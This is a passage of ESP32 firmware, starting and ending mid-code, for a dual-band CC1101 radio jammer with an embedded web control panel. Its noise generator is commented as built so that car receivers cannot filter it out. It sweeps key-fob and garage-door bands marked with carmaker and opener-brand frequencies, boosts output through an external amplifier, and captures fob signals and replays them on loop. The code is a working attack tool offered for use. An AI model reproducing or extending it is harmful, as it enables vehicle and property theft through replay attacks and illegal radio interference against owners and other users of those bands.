u8g2.drawStr(2, 10, ">> REPLAYING <<");
|
||
u8g2.setDrawColor(1);
|
||
} else if (jam) {
|
||
u8g2.drawBox(0, 0, 110, 13);
|
||
u8g2.setDrawColor(0);
|
||
u8g2.drawStr(2, 10, ">> JAMMING ACTIVE <<");
|
||
u8g2.setDrawColor(1);
|
||
} else {
|
||
u8g2.drawStr(2, 10, "-- STANDBY --");
|
||
}
|
||
oledPageDots(0);
|
||
|
||
// Blue zone — 5x7 font
|
||
u8g2.setFont(u8g2_font_5x7_tf);
|
||
const uint8_t nW = waveFrame;
|
||
|
||
if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) {
|
||
// Show capture/replay status instead of sweep info
|
||
char buf[24];
|
||
snprintf(buf, sizeof(buf), "%.3f MHz R%u",
|
||
(double)capFreq, (unsigned)capRadioNum);
|
||
u8g2.drawStr(0, 24, buf);
|
||
|
||
// Progress bar for recording
|
||
if (cm == CapMode::RECORDING) {
|
||
const uint32_t pct = capIdx * 100 / (CAP_BUF_BYTES * 8);
|
||
u8g2.drawFrame(0, 26, 128, 5);
|
||
u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5);
|
||
snprintf(buf, sizeof(buf), "%lus / %us %lu tr",
|
||
(unsigned long)(capIdx / CAP_SAMPLE_HZ),
|
||
(unsigned)CAP_DURATION_S,
|
||
(unsigned long)capTransitions);
|
||
} else {
|
||
// Replaying — show loop position
|
||
const uint32_t pct = capRecBits ? capIdx * 100 / capRecBits : 0;
|
||
u8g2.drawFrame(0, 26, 128, 5);
|
||
u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5);
|
||
snprintf(buf, sizeof(buf), "%lu bits looping",
|
||
(unsigned long)capRecBits);
|
||
}
|
||
u8g2.drawStr(0, 40, buf);
|
||
|
||
snprintf(buf, sizeof(buf), "%.1fC %lukB",
|
||
(double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024));
|
||
u8g2.drawStr(0, 55, buf);
|
||
} else {
|
||
// Normal jamming / standby display
|
||
// Row 1: ANT1
|
||
if (r1) {
|
||
char buf[20];
|
||
snprintf(buf, sizeof(buf), "1: %.3f MHz", (double)sweepFreq1);
|
||
u8g2.drawStr(0, 24, buf);
|
||
oledDrawWaves(101, 19, nW);
|
||
} else {
|
||
u8g2.drawStr(0, 24, "1: [OFFLINE]");
|
||
}
|
||
|
||
// Row 2: ANT2
|
||
if (r2) {
|
||
char buf[20];
|
||
snprintf(buf, sizeof(buf), "2: %.3f MHz", (double)sweepFreq2);
|
||
u8g2.drawStr(0, 33, buf);
|
||
oledDrawWaves(101, 28, nW);
|
||
} else {
|
||
u8g2.drawStr(0, 33, "2: [OFFLINE]");
|
||
}
|
||
|
||
// Row 3: power
|
||
{
|
||
char buf[28];
|
||
snprintf(buf, sizeof(buf), "TX %d+%d=%ddBm",
|
||
(int)jamPower, (int)ampGainDb, (int)jamPower + (int)ampGainDb);
|
||
u8g2.drawStr(0, 44, buf);
|
||
}
|
||
|
||
// Row 4: temp + heap OR FULL TX badge
|
||
if (jam && r1 && r2) {
|
||
u8g2.drawStr(0, 55, "[ FULL DUAL-BAND TX ]");
|
||
} else {
|
||
char buf[28];
|
||
snprintf(buf, sizeof(buf), "%.1fC %lukB",
|
||
(double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024));
|
||
u8g2.drawStr(0, 55, buf);
|
||
}
|
||
}
|
||
|
||
// Row 5: uptime small
|
||
{
|
||
const uint32_t up = millis() - uptimeStart;
|
||
char buf[20];
|
||
snprintf(buf, sizeof(buf), "up %uh%um%us",
|
||
(unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60));
|
||
u8g2.drawStr(0, 63, buf);
|
||
}
|
||
}
|
||
|
||
// Page 1 — Frequency + Hops
|
||
static void oledDrawFreq() {
|
||
// Yellow zone header
|
||
u8g2.setFont(u8g2_font_6x10_tf);
|
||
u8g2.drawStr(2, 10, "FREQ & HOPS");
|
||
oledPageDots(1);
|
||
|
||
u8g2.setFont(u8g2_font_5x7_tf);
|
||
char buf[24];
|
||
|
||
snprintf(buf, sizeof(buf), "R1 %.4f MHz", (double)sweepFreq1);
|
||
u8g2.drawStr(0, 24, buf);
|
||
snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount1);
|
||
u8g2.drawStr(0, 33, buf);
|
||
|
||
snprintf(buf, sizeof(buf), "R2 %.4f MHz", (double)sweepFreq2);
|
||
u8g2.drawStr(0, 45, buf);
|
||
snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount2);
|
||
u8g2.drawStr(0, 54, buf);
|
||
|
||
// Total hops per second (approx from 5s heartbeat window)
|
||
const uint32_t up = (millis() - uptimeStart) / 1000;
|
||
if (up > 0) {
|
||
snprintf(buf, sizeof(buf), "~%lu h/s total",
|
||
(unsigned long)((hopCount1 + hopCount2) / up));
|
||
u8g2.drawStr(0, 63, buf);
|
||
}
|
||
}
|
||
|
||
// Page 2 — System Health
|
||
static void oledDrawHealth() {
|
||
// Yellow zone header
|
||
u8g2.setFont(u8g2_font_6x10_tf);
|
||
u8g2.drawStr(2, 10, "SYS HEALTH");
|
||
oledPageDots(2);
|
||
|
||
u8g2.setFont(u8g2_font_5x7_tf);
|
||
char buf[24];
|
||
|
||
snprintf(buf, sizeof(buf), "TEMP %.1f C", (double)temperatureRead());
|
||
u8g2.drawStr(0, 24, buf);
|
||
|
||
const uint32_t freeK = ESP.getFreeHeap() / 1024;
|
||
const uint32_t minK = (minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap) / 1024;
|
||
snprintf(buf, sizeof(buf), "HEAP %lukB min%lukB", freeK, minK);
|
||
u8g2.drawStr(0, 33, buf);
|
||
|
||
const uint32_t up = millis() - uptimeStart;
|
||
snprintf(buf, sizeof(buf), "UP %uh %um %us",
|
||
(unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60));
|
||
u8g2.drawStr(0, 44, buf);
|
||
|
||
const int effDbm = (int)jamPower + (int)ampGainDb;
|
||
const uint32_t effMw = (uint32_t)roundf(powf(10.0f, effDbm / 10.0f));
|
||
snprintf(buf, sizeof(buf), "PWR %ddBm / %umW", effDbm, min(effMw, (uint32_t)9999));
|
||
u8g2.drawStr(0, 55, buf);
|
||
|
||
snprintf(buf, sizeof(buf), "WIFI %d client(s)", WiFi.softAPgetStationNum());
|
||
u8g2.drawStr(0, 63, buf);
|
||
}
|
||
|
||
// Full-screen inverted notification overlay
|
||
static void oledDrawNotif() {
|
||
u8g2.drawBox(0, 0, 128, 64);
|
||
u8g2.setDrawColor(0);
|
||
|
||
u8g2.setFont(u8g2_font_7x13_tf);
|
||
int16_t x1 = (128 - (int16_t)strlen(notifL1) * 7) / 2;
|
||
u8g2.drawStr((uint8_t)max((int16_t)0, x1), 26, notifL1);
|
||
|
||
u8g2.setFont(u8g2_font_6x10_tf);
|
||
int16_t x2 = (128 - (int16_t)strlen(notifL2) * 6) / 2;
|
||
u8g2.drawStr((uint8_t)max((int16_t)0, x2), 44, notifL2);
|
||
|
||
u8g2.setDrawColor(1);
|
||
}
|
||
|
||
// Main OLED update — call from loop() every pass; self-throttles to 100ms.
|
||
static void oledTick() {
|
||
if (!oledOk) return;
|
||
const uint32_t now = millis();
|
||
if (now - oledTickMs < 100) return;
|
||
oledTickMs = now;
|
||
|
||
// Advance wave animation every 220ms (4 frames → ~1.1s full cycle)
|
||
if (now - waveMs >= 220) {
|
||
waveMs = now;
|
||
waveFrame = (waveFrame + 1) & 3;
|
||
}
|
||
|
||
// Consume encoder — manual page change resets the auto-cycle timer
|
||
if (encDelta != 0) {
|
||
noInterrupts();
|
||
const int8_t d = encDelta;
|
||
encDelta = 0;
|
||
interrupts();
|
||
oledPage = (uint8_t)((oledPage + 3 + (d > 0 ? 1 : -1)) % 3);
|
||
oledPageMs = now; // reset auto-advance so page stays visible
|
||
}
|
||
|
||
// Auto page-advance every 8s (not during notification, not if encoder just moved)
|
||
if (now > notifEnd && now - oledPageMs >= 8000) {
|
||
oledPageMs = now;
|
||
oledPage = (oledPage + 1) % 3;
|
||
}
|
||
|
||
u8g2.clearBuffer();
|
||
if (now < notifEnd) {
|
||
oledDrawNotif();
|
||
} else if (oledPage == 0) {
|
||
oledDrawStatus();
|
||
} else if (oledPage == 1) {
|
||
oledDrawFreq();
|
||
} else {
|
||
oledDrawHealth();
|
||
}
|
||
u8g2.sendBuffer();
|
||
}
|
||
|
||
// ─── Galois LFSR broadband noise generator ───────────────────────────────────
|
||
//
|
||
// Replaces LEDC fixed-frequency PWM which produced strong predictable sidebands
|
||
// at ±120 kHz, ±240 kHz etc — a pattern car receivers can filter out.
|
||
//
|
||
// A 32-bit Galois LFSR clocked at 50 kHz generates a maximal-length pseudo-
|
||
// random bit sequence (period 2^32-1 = ~23.8 hours at 50 kbps). The output
|
||
// is spectrally flat: power spreads uniformly across the noise bandwidth
|
||
// instead of concentrating at harmonics. Combined with 380 kHz CC1101
|
||
// deviation this gives ~810 kHz of flat FM noise per hop — indistinguishable
|
||
// from thermal noise to any receiver.
|
||
//
|
||
// Polynomial 0xB4BCD35C: taps at bits 0,2,6,7,16,18,19,21 — proven maximal.
|
||
// Both radios use different bit positions of the same sequence for uncorrelated
|
||
// but equally flat noise on each band.
|
||
|
||
static inline IRAM_ATTR uint32_t lfsrStep(uint32_t s) {
|
||
return (s >> 1) ^ (-(s & 1u) & 0xB4BCD35Cu);
|
||
}
|
||
|
||
static void IRAM_ATTR noiseISR() {
|
||
const uint32_t s = lfsrStep(s_lfsr);
|
||
s_lfsr = s;
|
||
// Bit 0 drives Radio 1, bit 7 drives Radio 2 — separated to reduce correlation
|
||
gpio_set_level((gpio_num_t)CC1101_1_GDO0, (s >> 0) & 1u);
|
||
gpio_set_level((gpio_num_t)CC1101_2_GDO0, (s >> 7) & 1u);
|
||
}
|
||
|
||
static void noiseGenStart() {
|
||
if (s_noiseTimer) {
|
||
timerAlarmDisable(s_noiseTimer);
|
||
timerDetachInterrupt(s_noiseTimer);
|
||
timerEnd(s_noiseTimer);
|
||
s_noiseTimer = nullptr;
|
||
}
|
||
|
||
s_lfsr = esp_random();
|
||
if (s_lfsr == 0) s_lfsr = 0xDEADBEEFu; // LFSR must never be zero
|
||
|
||
gpio_set_direction((gpio_num_t)CC1101_1_GDO0, GPIO_MODE_OUTPUT);
|
||
gpio_set_direction((gpio_num_t)CC1101_2_GDO0, GPIO_MODE_OUTPUT);
|
||
|
||
// Hardware timer at 50 kHz — true ISR, no jitter, no FreeRTOS overhead.
|
||
// prescaler 80 → 1 MHz tick, alarm at 20 = 20 µs period = 50 kHz.
|
||
// Noise BW: 2*(380 kHz dev + 25 kHz baseband) = 810 kHz — solid coverage.
|
||
s_noiseTimer = timerBegin(2, 80, true); // timer 2, 1 MHz, count up
|
||
timerAttachInterrupt(s_noiseTimer, &noiseISR, true); // edge triggered
|
||
timerAlarmWrite(s_noiseTimer, 20, true); // 20 µs auto-reload
|
||
timerAlarmEnable(s_noiseTimer);
|
||
}
|
||
|
||
// Update jamming power; idx is 0-7 mapping to kPowerTable dBm values.
|
||
static void updateJamPower(uint8_t idx) {
|
||
if (idx >= JAM_POWER_LEVELS) idx = JAM_POWER_LEVELS - 1;
|
||
|
||
int8_t newDbm = kPowerTable[idx];
|
||
logLine("[JAM] Updating TX power: index " + String(idx) + " = " + String(newDbm) + " dBm");
|
||
|
||
jamPowerIdx = idx;
|
||
jamPower = newDbm;
|
||
preferences.putInt("jamPowerIdx", jamPowerIdx);
|
||
|
||
if (radio1Status >= 1) {
|
||
int st1 = radio1.setOutputPower(newDbm);
|
||
if (st1 != RADIOLIB_ERR_NONE) {
|
||
radio1Error = "Power update failed: " + String(st1);
|
||
logLine("[R1] setOutputPower(" + String(newDbm) + ") failed: " + String(st1));
|
||
} else {
|
||
radio1Error = "";
|
||
logLine("[R1] TX power -> " + String(newDbm) + " dBm");
|
||
}
|
||
}
|
||
|
||
if (radio2Status >= 1) {
|
||
int st2 = radio2.setOutputPower(newDbm);
|
||
if (st2 != RADIOLIB_ERR_NONE) {
|
||
radio2Error = "Power update failed: " + String(st2);
|
||
logLine("[R2] setOutputPower(" + String(newDbm) + ") failed: " + String(st2));
|
||
} else {
|
||
radio2Error = "";
|
||
logLine("[R2] TX power -> " + String(newDbm) + " dBm");
|
||
}
|
||
}
|
||
|
||
logLine("[JAM] Power update complete");
|
||
}
|
||
|
||
// Web server handlers
|
||
const char kHtml[] = R"HTML(
|
||
<!doctype html><html lang="en"><head>
|
||
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
|
||
<title>CC1101 JAMMER</title><style>
|
||
*{box-sizing:border-box;margin:0;padding:0}
|
||
html,body{background:#020504;color:#86f28a;font-family:'Courier New',monospace;font-size:12px;line-height:1.4}
|
||
body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;pointer-events:none;z-index:9999;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.08) 2px,rgba(0,0,0,.08) 4px);opacity:.6}
|
||
header{display:flex;align-items:center;justify-content:space-between;padding:10px 14px;border-bottom:1px solid #1a3a1e;background:linear-gradient(180deg,#040a06 0%,#030705 100%)}
|
||
h1{font-size:17px;letter-spacing:.12em;color:#a0f5a4;text-shadow:0 0 8px rgba(134,242,138,.4)}
|
||
.sub{font-size:10px;color:#4fbf59;margin-top:2px}
|
||
#progWrap{height:3px;background:#060e07}
|
||
#progBar{height:3px;background:linear-gradient(90deg,#2a8a2e,#86f28a,#2a8a2e);background-size:200% 100%;width:0;transition:width .8s linear;animation:progShimmer 3s linear infinite}
|
||
@keyframes progShimmer{0%{background-position:200% 0}100%{background-position:-200% 0}}
|
||
main{padding:10px;max-width:920px;margin:0 auto;display:flex;flex-direction:column;gap:8px}
|
||
.card{background:#030705;border:1px solid #1a3a1e;padding:10px;transition:border-color .3s}
|
||
.card:hover{border-color:#2a5a2e}
|
||
.card h2{font-size:10px;color:#4fbf59;letter-spacing:.12em;text-transform:uppercase;border-bottom:1px solid #122814;padding-bottom:5px;margin-bottom:8px}
|
||
.banner{padding:14px;text-align:center;border:2px solid #1a3a1e;transition:all .4s ease}
|
||
.bt{font-size:22px;font-weight:bold;letter-spacing:.18em}
|
||
.bs{font-size:11px;margin-top:5px}
|
||
.ban-on{border-color:#4fbf59;background:radial-gradient(ellipse at center,#0a1a0c 0%,#060f07 70%)}
|
||
.ban-off{border-color:#3a1218;background:#030504}
|
||
@keyframes pulse{0%,100%{box-shadow:0 0 6px rgba(134,242,138,.15)}50%{box-shadow:0 0 24px rgba(134,242,138,.5),0 0 60px rgba(134,242,138,.1)}}
|
||
.ban-on{animation:pulse 2.2s ease-in-out infinite}
|
||
.ban-on .bt{text-shadow:0 0 12px rgba(134,242,138,.6)}
|
||
.sg{display:grid;grid-template-columns:repeat(auto-fill,minmax(105px,1fr));gap:5px}
|
||
.s{background:#020504;border:1px solid #1a3a1e;padding:6px 8px;transition:border-color .2s,background .2s}
|
||
.s:hover{border-color:#2a5a2e;background:#040a06}
|
||
.sl{font-size:8px;color:#4fbf59;text-transform:uppercase;letter-spacing:.1em;white-space:nowrap}
|
||
.sv{font-size:15px;font-weight:bold;margin-top:2px;transition:color .3s}
|
||
.su{font-size:8px;color:#4fbf59;margin-left:1px}
|
||
.warm{color:#f5d87c!important}.hot{color:#f28a86!important}.lo{color:#f5d87c!important}.crit{color:#f28a86!important}
|
||
.band{margin-bottom:10px}
|
||
.bl{font-size:10px;color:#4fbf59;display:flex;justify-content:space-between;align-items:center;margin-bottom:3px}
|
||
canvas{display:block;width:100%}
|
||
canvas.sw{height:92px;border:1px solid #122814;background:#020504}
|
||
canvas.sp{height:44px;border:1px solid #122814;background:#020504}
|
||
.row{display:flex;flex-wrap:wrap;gap:10px}
|
||
.col{flex:1;min-width:140px}
|
||
.rrow{display:flex;gap:7px;align-items:center;margin-bottom:4px}
|
||
.dot{width:7px;height:7px;border-radius:50%;display:inline-block;flex-shrink:0;transition:all .3s}
|
||
.on{background:#86f28a;box-shadow:0 0 6px rgba(134,242,138,.7)}
|
||
@keyframes dotPulse{0%,100%{box-shadow:0 0 4px rgba(134,242,138,.5)}50%{box-shadow:0 0 10px rgba(134,242,138,.9)}}
|
||
.on{animation:dotPulse 1.5s ease-in-out infinite}
|
||
.off{background:#f28a86;box-shadow:0 0 4px rgba(242,138,134,.4)}
|
||
hr{border:none;border-top:1px solid #122814;margin:8px 0}
|
||
label{font-size:10px;color:#4fbf59;display:block;margin-bottom:3px}
|
||
input[type=range]{width:100%;accent-color:#86f28a;margin:2px 0}
|
||
input[type=number]{background:#020504;border:1px solid #1a3a1e;color:#86f28a;padding:3px 6px;font-family:inherit;font-size:11px;width:100%;transition:border-color .2s}
|
||
input[type=number]:focus{border-color:#4fbf59;outline:none}
|
||
select:focus{border-color:#4fbf59;outline:none}
|
||
button{padding:6px 11px;background:#0a1e0c;color:#86f28a;border:1px solid #2a5a2e;cursor:pointer;font-family:inherit;font-size:11px;letter-spacing:.04em;transition:all .15s}
|
||
button:hover{background:#142a16;box-shadow:0 0 8px rgba(134,242,138,.15)}
|
||
button:active{transform:scale(.97)}
|
||
button.d{background:#140608;border-color:#4a1820;color:#f28a86}
|
||
button.d:hover{background:#200a10;box-shadow:0 0 8px rgba(242,138,134,.15)}
|
||
.err{color:#f28a86;font-size:10px;margin-top:2px}
|
||
pre{margin:0;padding:8px;background:#020504;border:1px solid #122814;height:28vh;overflow-y:auto;font-size:10px;line-height:1.6;color:#5fbf69}
|
||
pre::-webkit-scrollbar{width:4px}
|
||
pre::-webkit-scrollbar-track{background:#020504}
|
||
pre::-webkit-scrollbar-thumb{background:#1a3a1e;border-radius:2px}
|
||
#connDot{width:9px;height:9px;border-radius:50%;background:#f28a86;transition:background .3s,box-shadow .3s}
|
||
@keyframes bootIn{0%{opacity:0;filter:brightness(2) blur(2px)}100%{opacity:1;filter:brightness(1) blur(0)}}
|
||
body{animation:bootIn .6s ease-out}
|
||
@keyframes flicker{0%{opacity:1}3%{opacity:.4}6%{opacity:1}7%{opacity:.6}9%{opacity:1}100%{opacity:1}}
|
||
h1{animation:flicker .4s ease-out}
|
||
.sv{font-variant-numeric:tabular-nums}
|
||
</style></head><body>
|
||
<header>
|
||
<div><h1>CC1101 JAMMER</h1>
|
||
<div class="sub">ESP32-S3 • 300–320 MHz + 390–436 MHz • Dual-band FM noise sweep</div></div>
|
||
<div style="text-align:right;display:flex;align-items:center;gap:10px">
|
||
<div>
|
||
<div id="mission" style="font-size:9px;color:#4fbf59;margin-bottom:3px">—</div>
|
||
<div style="font-size:8px;color:#1a3a1e;letter-spacing:.08em">v2.0 // LFSR+VCO</div>
|
||
</div>
|
||
<div id="connDot"></div>
|
||
</div>
|
||
</header>
|
||
<div id="progWrap"><div id="progBar"></div></div>
|
||
<main>
|
||
|
||
<div class="banner ban-off" id="banner">
|
||
<div class="bt" id="bt">INITIALIZING</div>
|
||
<div class="bs" id="bs"></div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>System Metrics</h2>
|
||
<div class="sg">
|
||
<div class="s"><div class="sl">Uptime</div><div class="sv" id="mUp">—</div></div>
|
||
<div class="s"><div class="sl">CC1101 TX</div><div class="sv" id="mPow">—<span class="su">dBm</span></div></div>
|
||
<div class="s"><div class="sl">Eff. Power</div><div class="sv" id="mEff">—<span class="su">dBm</span></div></div>
|
||
<div class="s"><div class="sl">Eff. Watts</div><div class="sv" id="mW">—<span class="su">mW</span></div></div>
|
||
<div class="s"><div class="sl">Temp</div><div class="sv" id="mTmp">—<span class="su">°C</span></div></div>
|
||
<div class="s"><div class="sl">Free Heap</div><div class="sv" id="mH">—<span class="su">kB</span></div></div>
|
||
<div class="s"><div class="sl">Min Heap</div><div class="sv" id="mMH">—<span class="su">kB</span></div></div>
|
||
<div class="s"><div class="sl">Dwell</div><div class="sv" id="mDw">—<span class="su">ms</span></div></div>
|
||
<div class="s"><div class="sl">Hops R1</div><div class="sv" id="mH1">—</div></div>
|
||
<div class="s"><div class="sl">Hops R2</div><div class="sv" id="mH2">—</div></div>
|
||
<div class="s"><div class="sl">Hops/sec</div><div class="sv" id="mHR">—</div></div>
|
||
<div class="s"><div class="sl">AP Clients</div><div class="sv" id="mCl">—</div></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>Live Frequency Sweep</h2>
|
||
<div class="band">
|
||
<div class="bl">
|
||
<span><span class="dot on" id="d1"></span> Radio 1 — 300–320 MHz <small style="color:#2a6a2e">(Honda 303.825 · Toyota 314.98 · Ford/GM 315 · Linear 318)</small></span>
|
||
<span id="f1c" style="color:#86f28a;font-weight:bold">—</span>
|
||
</div>
|
||
<canvas class="sw" id="c1"></canvas>
|
||
</div>
|
||
<div class="band">
|
||
<div class="bl">
|
||
<span><span class="dot on" id="d2"></span> Radio 2 — 390–436 MHz <small style="color:#2a6a2e">(LiftMaster 390 · Holtek 418 · Somfy 433.42 · EU 433.92 · Nero 434.42)</small></span>
|
||
<span id="f2c" style="color:#86f28a;font-weight:bold">—</span>
|
||
</div>
|
||
<canvas class="sw" id="c2"></canvas>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>2-Minute History</h2>
|
||
<div class="row">
|
||
<div class="col">
|
||
<div class="bl"><span style="color:#4fbf59">Temperature (°C)</span><span id="tNow" style="font-weight:bold">—</span></div>
|
||
<canvas class="sp" id="cT"></canvas>
|
||
</div>
|
||
<div class="col">
|
||
<div class="bl"><span style="color:#4fbf59">Free Heap (kB)</span><span id="hNow" style="font-weight:bold">—</span></div>
|
||
<canvas class="sp" id="cH"></canvas>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>Radio Status</h2>
|
||
<div class="row">
|
||
<div class="col">
|
||
<div class="rrow"><span class="dot off" id="r1d"></span><strong>Radio 1 — 300–320 MHz</strong></div>
|
||
<div id="r1s" class="sub">—</div><div id="r1e" class="err"></div>
|
||
</div>
|
||
<div class="col">
|
||
<div class="rrow"><span class="dot off" id="r2d"></span><strong>Radio 2 — 390–436 MHz</strong></div>
|
||
<div id="r2s" class="sub">—</div><div id="r2e" class="err"></div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>Controls</h2>
|
||
<div class="row" style="margin-bottom:10px">
|
||
<div class="col">
|
||
<label>TX Power: <strong id="pv">10</strong> dBm</label>
|
||
<input type="range" id="jp" min="0" max="7" value="7" step="1">
|
||
<div style="font-size:9px;color:#3a7a3e;margin-top:2px">−30 −20 −15 −10 0 +5 +7 +10 dBm</div>
|
||
</div>
|
||
<div class="col" style="display:flex;flex-direction:column;gap:6px;justify-content:flex-end">
|
||
<button id="tog">Start Jamming</button>
|
||
<button id="apow" class="d">Apply Power</button>
|
||
</div>
|
||
</div>
|
||
<hr>
|
||
<div class="row" style="margin-bottom:10px">
|
||
<div class="col"><label>External Amp Gain (dB)</label><input type="number" id="ag" min="0" max="60" value="20" style="width:85px"></div>
|
||
<div class="col" style="display:flex;align-items:flex-end"><button id="aamp">Apply Amp</button></div>
|
||
</div>
|
||
<hr>
|
||
<h2 style="margin-bottom:8px">Sweep Tuning</h2>
|
||
<div class="row">
|
||
<div class="col"><label>Dwell / hop (ms)</label><input type="number" id="sd" min="1" max="500" value="5" style="width:75px"></div>
|
||
<div class="col">
|
||
<label>Steps (R1 / R2)</label>
|
||
<input type="number" id="ss1" min="2" max="100" value="25" style="width:60px">
|
||
<input type="number" id="ss2" min="2" max="100" value="47" style="width:60px;margin-top:4px">
|
||
</div>
|
||
<div class="col">
|
||
<label>Span MHz (R1 / R2)</label>
|
||
<input type="number" id="sp1" min="0.1" max="50" step="0.5" value="20.0" style="width:65px">
|
||
<input type="number" id="sp2" min="0.1" max="80" step="0.5" value="46.0" style="width:65px;margin-top:4px">
|
||
</div>
|
||
<div class="col" style="display:flex;align-items:flex-end"><button id="asw">Apply Sweep</button></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>Signal Capture / Replay</h2>
|
||
<div class="row" style="margin-bottom:8px">
|
||
<div class="col">
|
||
<label>Target Frequency (MHz)</label>
|
||
<input type="number" id="capFreq" min="290" max="450" step="0.001" value="315.000" style="width:110px">
|
||
</div>
|
||
<div class="col">
|
||
<label>Modulation</label>
|
||
<select id="capMod" style="background:#020504;border:1px solid #1a3a1e;color:#86f28a;padding:3px 6px;font-family:inherit;font-size:11px">
|
||
<option value="ook">OOK / ASK (90% of fobs)</option>
|
||
<option value="fsk">2-FSK</option>
|
||
</select>
|
||
</div>
|
||
<div class="col">
|
||
<label>Radio</label>
|
||
<select id="capRadio" style="background:#020504;border:1px solid #1a3a1e;color:#86f28a;padding:3px 6px;font-family:inherit;font-size:11px">
|
||
<option value="1">Radio 1 (300-320 MHz)</option>
|
||
<option value="2">Radio 2 (390-436 MHz)</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div style="display:flex;gap:7px;flex-wrap:wrap;margin-bottom:8px">
|
||
<button onclick="capStartRec()">REC</button>
|
||
<button onclick="capStop()">STOP</button>
|
||
<button onclick="capReplay()">REPLAY</button>
|
||
</div>
|
||
<div style="height:3px;background:#060e07;margin-bottom:8px"><div id="capProg" style="height:3px;background:#4fbf59;width:0;transition:width .3s linear"></div></div>
|
||
<div class="sg" style="margin-bottom:8px">
|
||
<div class="s"><div class="sl">State</div><div class="sv" id="capStat">IDLE</div></div>
|
||
<div class="s"><div class="sl">Bits</div><div class="sv" id="capBits">—</div></div>
|
||
<div class="s"><div class="sl">Duration</div><div class="sv" id="capDur">—</div></div>
|
||
<div class="s"><div class="sl">Est Bitrate</div><div class="sv" id="capBps">—</div></div>
|
||
<div class="s"><div class="sl">Duty Cycle</div><div class="sv" id="capDuty">—</div></div>
|
||
<div class="s"><div class="sl">Cap Freq</div><div class="sv" id="capRecFreq">—</div></div>
|
||
</div>
|
||
<canvas id="capWave" class="sw" height="60" style="height:60px"></canvas>
|
||
<div style="font-size:9px;color:#2a6a2e;margin-top:5px">
|
||
REC pauses jamming and records raw demodulated signal for 4s. REPLAY transmits the capture on loop at the original frequency. STOP resumes jamming.
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card">
|
||
<h2>System Log <button id="dl" style="font-size:9px;padding:2px 7px">Download</button></h2>
|
||
<pre id="log"></pre>
|
||
</div>
|
||
|
||
</main><script>
|
||
const PT=[-30,-20,-15,-10,0,5,7,10];
|
||
let T={},ph1=0,ph2=0,lastP=Date.now();
|
||
const HS=120,hT=new Array(HS).fill(null),hH=new Array(HS).fill(null);
|
||
let hi=0;
|
||
const TL=50,tr1=[],tr2=[];
|
||
const MK1=[{f:303.825,l:'Honda'},{f:310,l:'Chmb'},{f:314.98,l:'Toyot'},{f:315,l:'Ford'},{f:318,l:'Line'}];
|
||
const MK2=[{f:390,l:'Lift'},{f:418,l:'Holt'},{f:433.42,l:'Somfy'},{f:433.92,l:'EU'},{f:434.42,l:'Nero'}];
|
||
|
||
function ff(f){return f?(+f).toFixed(4)+' MHz':'—'}
|
||
function fu(ms){const s=Math.floor(ms/1000),m=Math.floor(s/60),h=Math.floor(m/60),d=Math.floor(h/24);
|
||
return d?`${d}d ${h%24}h ${m%60}m`:h?`${h}h ${m%60}m ${s%60}s`:`${m}m ${s%60}s`}
|
||
function ct(v){return v>80?'hot':v>65?'warm':''}
|
||
function ch(kb){return kb<30?'crit':kb<60?'lo':''}
|
||
|
||
function updTr(arr,norm){
|
||
arr.forEach(t=>t.age++);
|
||
while(arr.length&&arr[0].age>=TL)arr.shift();
|
||
arr.push({x:Math.max(0,Math.min(1,norm)),age:0});
|
||
}
|
||
|
||
function drawSw(id,freq,ctr,span,active,trail,marks){
|
||
const cv=document.getElementById(id);if(!cv)return;
|
||
const W=cv.offsetWidth||400,H=92;cv.width=W;cv.height=H;
|
||
const ctx=cv.getContext('2d');
|
||
const lo=ctr-span/2,sp=Math.max(span,0.001);
|
||
const tx=f=>Math.max(0,Math.min(W,(f-lo)/sp*W));
|
||
ctx.fillStyle='#020504';ctx.fillRect(0,0,W,H);
|
||
// Subtle grid
|
||
ctx.strokeStyle='#0a180c';ctx.lineWidth=1;ctx.setLineDash([2,10]);
|
||
for(let i=1;i<10;i++){const x=i/10*W;ctx.beginPath();ctx.moveTo(x,0);ctx.lineTo(x,H-14);ctx.stroke();}
|
||
ctx.setLineDash([]);
|
||
// Known freq markers
|
||
marks.forEach(({f,l})=>{
|
||
if(f<lo||f>lo+sp)return;
|
||
const x=tx(f);
|
||
ctx.strokeStyle='rgba(74,180,84,0.4)';ctx.lineWidth=1;ctx.setLineDash([3,4]);
|
||
ctx.beginPath();ctx.moveTo(x,0);ctx.lineTo(x,H-15);ctx.stroke();ctx.setLineDash([]);
|
||
ctx.fillStyle='rgba(74,180,84,0.7)';ctx.font='8px monospace';ctx.textAlign='center';ctx.fillText(l,x,H-16);
|
||
});
|
||
// Heat trail
|
||
trail.forEach(t=>{
|
||
const a=(1-t.age/TL)*0.5,bw=55,bx=t.x*W;
|
||
const g=ctx.createLinearGradient(bx-bw,0,bx+bw,0);
|
||
g.addColorStop(0,'rgba(80,240,110,0)');
|
||
g.addColorStop(.5,`rgba(80,240,110,${a})`);
|
||
g.addColorStop(1,'rgba(80,240,110,0)');
|
||
ctx.fillStyle=g;ctx.fillRect(bx-bw,0,bw*2,H-14);
|
||
});
|
||
if(active&&freq){
|
||
const cx=tx(freq);
|
||
// Wide glow
|
||
const g=ctx.createLinearGradient(cx-80,0,cx+80,0);
|
||
